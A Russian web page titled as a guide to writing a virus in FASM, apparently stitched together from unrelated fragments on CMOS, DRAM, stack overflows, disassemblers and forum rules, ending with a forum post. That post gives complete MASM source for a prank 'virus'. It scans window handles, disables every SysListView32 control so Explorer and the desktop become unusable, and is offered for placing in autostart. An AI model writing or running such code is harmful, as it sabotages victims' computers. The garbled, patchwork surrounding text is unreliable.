Руководство По Созданию Вируса В Ассемблере Fasm
Но версия программы, направленная на создание программ для DOS, не развивается. Кроме того, Стивен Хатчессон создал пакет. FASM (Flat Assembler) — молодой ассемблер под модифицированной для запрета перелицензирования (включая под GNU GPL) BSD?лицензией. Есть версии для KolibriOS,. Jan 2, 2018 - Авторы NASM больше пишут программное обеспечение для этого диалекта, оставляя написание руководства на «потом». NASM существует. Создание заплаток на ассемблере FASM; Норсеев С.А. Записки исследователя компьютерных вирусов. – Спб.: Питер, 2006. Oct 30, 2012 - Взято.Непомню где взято!=) Сейчас напишем простой вирус(Даже вредоносная программа) на Ассемблере Вообщем, сначала код: Код (ASM):.386.model flat, stdcall. Option casemap:none; case sensitive. Include masm32 include windows.inc. Include masm32 include user32.inc.
В эпоху интенсивного развития высоких технологий и технологий Internet программирование для отошло на второй план. А между тем практически невозможно реализовать ничего стоящего без правильной конфигурации оборудования, в частности CMOS - энергонезависимой памяти компьютера. В данной статье мы рассмотрим устройство CMOS, его структуру и возможности программирования.
Сразу оговорюсь, что программировать CMOS желательно из реального режима ОС; под ОС Windows это делается с помощью специальных драйверов VxD или SYS. Оперативная память персональных компьютеров сегодня, как и десять лет тому назад, строится на базе относительно недорогой динамической памяти - DRAM (Dynamic Random Access Memory). Множество поколений интерфейсной логики, соединяющей ядро памяти с 'внешним миром', сменилось за это время.
Эволюция носила ярко выраженный преемственный характер - каждое новое поколение памяти практически полностью наследовало архитектуру предыдущего, включая, в том числе, и свойственные ему ограничения. Ядро же памяти (за исключением совершенствования проектных норм таких, например, как степень интеграции) и вовсе не претерпевало никаких принципиальных изменений! Даже 'революционный' Rambus Direct RDRAM ничего подлинного революционного в себе не содержит и хорошо вписывается в общее 'генеалогическое' древо развития памяти. Поэтому, устройство и принципы функционирования оперативной памяти лучше всего изучать, понимаясь от основания ствола дерева (т.е.
Самых древних моделей памяти) по его веткам вверх - к самым современным разработкам, которые только существуют на момент написания этой статьи. В данной статье рассматривается пример использования переполнения стека под Windows 9x на платформе Intel x86. Изложение рассчитано на читателя, понимающего принципы работы персонального компьютера и более чем поверхностно знакомого с программированием. Переполнение буфера (buffer overflow) - наверное одна из самых интересных и широко распространённых уязвимостей программного обеспечения. Вроде бы небольшая ошибка программиста может (при особых обстоятельствах) позволить злобно настроенному хакеру сделать практически что угодно на компьютере невинного пользователя программы. Ошибка заключается в том, что в каком-либо месте программы происходит копирование данных из одного участка памяти в другой без проверки того, достаточно ли для них места там, куда их копируют. Область памяти, куда копируются данные, принято называть буфером.
Таким образом, если данных слишком много, то часть их попадает за границы буфера - происходит 'переполнение буфера'. Драйвер i845 чипсета intel. Умелое использование того, куда попадают 'лишние данные' может позволить злоумышленнику выполнить любой код на компьютере, где произошло переполнение. Существуют различные варианты данной уязвимости. В этой работе рассматривается самая распространённая из них, связанная с искажением адреса возврата функции (т.н.
'переполнение стека' - stack overflow или 'срыв стека' - smashing the stack). Несмотря на то, что принципы использования переполнения буфера одни и те же на всех платформах, конкретные примеры зависят от используемого процессора и операционной системы.
Здесь мы ограничимся переполнением стека под Windows 9x для процессора семейства Intel x86. Дизассемблирование - неотъемлемая часть мира программирования, как археология, история в мире человеческом.
И если второе прошло уже несколько этапов развития - от машинного кодирования до блочно- модульного в языках высокого уровня, а теперь перешло и на уровень системного программирования в визуал-языках, то первое до сих пор топчется на первом этапе. Ведь до сих пор вспоминают SOURSER. И в той же IDA PRO, которая считается лучшей, человеку до сих пор приходится решать элементарные задачи - в ручную определять, где байты, а где коды. А ведь пора бы перейти и на блочно-модульное дизассемблирование с выходом на тексты языка высокого уровня.
Руководство По Созданию Вируса В Ассемблере Fasma
Причиной топтания на месте считаю неудачную идеологию дизассемблирования (линейную) в этих, да и других дизассемблерах тоже. Представляя свой дизассемблер RD16.exe, пытаюсь продемонстрировать и новую идеологию дизассемблирования (мозаичную), которая позволяет более эффективно и более качественно решать те же задачи.
Полагаю, что и перспектива развития дизассемблирования открывается иная.
ПРАВИЛА РАЗДЕЛА!!! Заголовок или название темы должно быть информативным 2. Все тексты программ должны помещаться в теги CODE=asm /CODE 3. Прежде чем задавать вопрос, см.
'FAQ',если там не нашли ответа, воспользуйтесь ПОИСКОМ, возможно, такую задачу уже решали! Не предлагайте свои решения на других языках, кроме Ассемблера. Исключение только с согласия модератора. НЕ используйте форум для личного общения! Все, что не относиться к обсуждению темы - на PM! Проверяйте программы перед тем, как выложить их на форум!! От нечего делать решил написать про вирусы!
Вот она наболевшая проблема компьютеров! Вирус будет существовать всегда, т.к. Желающих портить и ломать софт всегда хватало. Подозреваю что и Ты решил написать что-нибудь подобное(иначе зачем это читать?).
Итак кончаем трепаться и перейдем к делу(круто звучит?): писать вирус мы будем на ассемблере, поэтому любители всяких 'Дельфи' просьба удалиться, зрелище не для слабонервных(так многим кажется)! Что нам потребуется? Минимально нам потребуется компилятор ассемблера, компоновщик и любой текстовый редактор. Неплохо было бы иметь под рукой отладчик (я использую OllyDbg v1.09) Я рекомендую использовать для компиляции пакет MASM. Он лучше всего подходит для создания Windows приложений. Итак когда все есть можно приступить к делу. Для данного вируса мне потребуется всего три стандартных функции Win32: ExitProcess из kernel32.dll и EnableWindow и GetClassNameA из user32.dll.
Нужно обьявить их в коде: includelib masm32 lib kernel32.lib extrnimpExitProcess@4:dword ExitProcessequ impExitProcess@4 includelib masm32 lib user32.lib extrnimpEnableWindow@8:dword extrnimpGetClassNameA@12:dword EnableWindowequ impEnableWindow@8 GetClassNameequ impGetClassNameA@12 Теперь, когда обьявлены экспортируемые функции, можно перейти к сегменту данных. В сегменте данных мне понадобится 4 байта. В этой памяти мы будем хранить первые 4 байта из названия класса.386.model flat.data buffer db 4 dup (?) Перейдем непосредственно к реализации кода. В регистре esi с самого начала программы я буду хранить числа от 0 до 100000. Зачем это нужно? Я в кратце попытаюсь объяснить мой алгоритм: У каждого элемента управления Windows есть хендл (по-русски дескриптор).
Он уникален и не может повторятся, этим мы и воспользуемся. Из своих наблюдений и опыта я заметил, что ОС Windows присваивает элементам управления(Button, ListBox, Edit.) дескрипторы от 0 и выше. Все зависит от количества открытых приложений, и от количества элементов управления в них. Думаю что в среднем открытых хендлов в системе имеется не более 20000, но мы перестрахуемся и переберем первые 100000.
Благодаря быстродействию современных компьютеров можно было бы проверить все возможные хендлы в системе, а это довольно много(от 0 до 0FFFFFFFFh), но мы этого делать не будем. Как я указал ранее хранить дескрипторы будем на регистре esi, и будем проверять каждый с помощью функции Windows GetClassNameA на имя искомого класса, зарание нами указанного(в моем примере это SysListView32, но при желании можно поискать кнопки и т.д.). Думаю нужно рассказать как работает GetClassNameA. Вот как выглядит описание этой функции на сайте MSDN: int GetClassName( HWND hWnd, LPTSTR lpClassName, int nMaxCount ); hWnd - Дескриптор, класс которого нужно узнать.
LpClassName - Указатель на строку, в которую функция запишет имя класса. NMaxCount - Сколько символов нужно записать в вышеуказанную строку. Возвращаемое значение: Количество скопированых байт в успешном случае, или 0 при ошибке.
Подробнее об ошибке можно узнать вызвав GetLastError. Далее если функция GetClassNameA не дала в результате 0, то мы проверяем является ли класс, находящийся в buffer именно SysListView32. Если мы нашли искомый класс, то можно сделать юзеру пакость. Имея нужный нам хендл (на esi) наши возможности по управлению им (классом) становятся практически неограниченными. Здесь наши пути могут разойтись. Если цель данного вируса - простая шутка, то можно, скажем изменить надпись на элементе управления (если сканировать будете на Button.) или добавить пару пунктов в SysListView32 или переместить объект по окну. Еще раз повторю: наши возможности практически неограничены!
Все зависит от вашей фантазии. Лично я в этом примере поступлю так: если нахожу SysListView32, то делаю его недоступным, а если не нахожу, то перехожу к следующему хендлу и т.д.
Руководство По Созданию Вируса В Ассемблере Fasmar

Надеюсь до этого все понятно, идем дальше. Сегмент кода:.code start: xor esi, esi; В esi 0 mov ebx, 100000; В ebx 100000 lea edi, buffer Далее идет главный участок программы, это цикл, который должен повториться 100000 раз. Почему именно 100000 раз? - Смотрите выше.
Repeatthis:; Увеличиваем esi на 1, тем; самым перейдя на следующий возможный хендл inc esi Затем, теоретически имея на esi хендл мы проверим, является ли данное число искомым классом. Воспользуемся функцией Api GetClassNameA. В результате при удачном выполнении мы получим имя класса в массиве buffer, а если что-то не так, то в результате GetClassName выдаст нам 0. Push5; Сколько байт записывать push edi; Куда их записывать push esi callGetClassName; Если GetClassName не дал результатов, то идем ниже test eax, eax jz@1 Теперь время фишки: я записую в массив только 4 байта из названия класса. Во-первых так мы добьемся более высокой скорости выполнения, во-вторых я не припоминаю стандартных классов Windows начинающихся с 'SysL' кроме SysListView32. Cmp dword ptr edi, 'LsyS' jne @1 Круто! Есть первый кандидат на 'затемнение'.
Чтобы сделать SysListView32 заблокированным вызовем стандартную функцию EnableWindow. По традиции заглянем в MSDN: BOOL EnableWindow ( HWND hWnd, BOOL Enable ); hWnd - Блокиpуемое или pазблокиpуемое окно. Enable - TRUE, для разблокирования. FALSE, для блокировки.
Возвpащаемое значение: Не нуль - в случае успешного завеpшения. 0 - в пpотивном случае. Push FALSE; Не активный push esi; хендл SysListView32 call EnableWindow @1:; Устанавливает Zero-флаг в 1, если источник=0 dec ebx; Если не 0, то переходим на новый поиск jnzrepeatthis Когда сделали жизнь юзеру хуже, закрываемся и уходим! Push ebx; ebx=0 call ExitProcess end start Конечно работать без проводника и рабочего стола юзеру будет тяжело. Но еще более осложнить ему жизнь можно поместив нашу програмку в автозагрузку, будет весело! Но уж это сами!
Я ни какой ответственности не несу. И вообще я компьютеров побаиваюсь Сообщение отредактировано: volvo - 7.11.2009 3:10.